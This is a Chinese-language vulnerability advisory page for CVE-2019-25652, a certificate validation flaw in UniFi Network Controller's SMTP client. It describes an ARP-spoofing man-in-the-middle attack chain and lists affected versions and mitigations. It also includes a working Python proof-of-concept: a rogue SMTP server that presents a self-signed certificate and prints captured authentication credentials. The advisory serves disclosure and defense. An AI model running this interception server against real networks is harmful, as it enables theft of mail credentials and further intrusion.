IPBUF安全漏洞报告
English
CVE-2019-25652 CVSS 7.5 高危

CVE-2019-25652 UniFi证书验证漏洞导致MITM

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2019-25652
漏洞类型
不当证书验证
CVSS评分
7.5 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
UniFi Network Controller

相关标签

证书验证MITMUniFiSMTP信息泄露

漏洞概述

UniFi Network Controller在特定版本中存在不当证书验证漏洞。由于系统在SMTP连接过程中未能正确校验SSL证书的有效性,位于相邻网络的攻击者可利用此缺陷实施中间人攻击。攻击者通过提供虚假的SSL证书,能够成功欺骗控制器并拦截SMTP流量,进而窃取包含在邮件通知中的敏感凭证。该漏洞对系统的机密性、完整性和可用性构成严重威胁。

技术细节

该漏洞的核心在于UniFi Network Controller的SMTP客户端组件在SSL/TLS握手阶段未实施严格的主机名验证机制。当控制器尝试连接外部SMTP服务器发送通知邮件时,攻击者若处于同一局域网(Adjacent Network),可通过ARP欺骗或DNS劫持等技术手段介入通信链路。攻击者搭建一个恶意的SMTP服务端并使用自签名或无效的SSL证书向控制器响应。由于受影响版本的控制器忽略了证书链的验证错误或未检查证书通用名称(CN)与目标主机是否匹配,直接建立了连接,导致后续的SMTP认证信息(如用户名和密码)在传输过程中被攻击者解密和捕获。这种绕过信任机制的行为使得加密通道形同虚设,严重威胁了企业邮件通知系统的安全性,攻击者进而可利用窃取的凭证进一步渗透内网。

攻击链分析

STEP 1
网络定位
攻击者位于UniFi Network Controller的相邻网络(如同一局域网内)。
STEP 2
流量劫持
攻击者使用ARP欺骗或DNS投毒技术,将控制器的SMTP流量重定向到攻击者控制的服务器。
STEP 3
建立连接
攻击者服务器监听SMTP端口,当控制器尝试连接时,提供虚假的自签名SSL证书。
STEP 4
绕过验证
由于漏洞导致控制器未严格验证证书,接受虚假证书并建立加密连接。
STEP 5
凭证窃取
攻击者解密流量,截获SMTP认证信息(用户名/密码),获取系统敏感凭证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2019-25652 # This script simulates a malicious SMTP server to intercept traffic. # Requires Python and ssl module. import socket import ssl import threading # Fake SMTP Server to exploit CVE-2019-25652 # This script listens on port 25 and accepts SSL connections # to capture credentials from the vulnerable controller. def handle_client(client_socket): try: # Send SMTP greeting client_socket.send(b"220 fake.smtp.server ESMTP Postfix\r\n") while True: data = client_socket.recv(1024) if not data: break print(f"[+] Received: {data.decode().strip()}") # Simple SMTP responses to capture AUTH if b"EHLO" in data: client_socket.send(b"250-fake.smtp.server\n250 STARTTLS\r\n") elif b"STARTTLS" in data: client_socket.send(b"220 Ready to start TLS\r\n") # Wrap socket with SSL using a dummy cert # In a real attack, use openssl to generate a cert context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Load attacker's self-signed certificate try: context.load_cert_chain('cert.pem', 'key.pem') except: print("[-] Cert files not found, using default context (might fail)") secure_socket = context.wrap_socket(client_socket, server_side=True) print("[+] TLS Handshake established. Intercepting...") # Read encrypted traffic (AUTH PLAIN/LOGIN) while True: d = secure_socket.recv(1024) if not d: break print(f"[+] Captured Auth Data: {d.decode().strip()}") break else: client_socket.send(b"500 Command unrecognized\r\n") except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() # Start listener server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("0.0.0.0", 25)) server.listen(5) print("[*] Listening on port 25 for vulnerable UniFi Controller connections...") while True: client, addr = server.accept() print(f"[*] Accepted connection from {addr}") threading.Thread(target=handle_client, args=(client,)).start()

影响范围

UniFi Network Controller < 5.10.22
UniFi Network Controller 5.11.x < 5.11.18

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过网络隔离手段限制控制器的出站SMTP访问,仅允许连接到受信任且经过严格证书验证的邮件服务器网关,并在交换机端口上启用动态ARP检测(DAI)以防止ARP欺骗。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表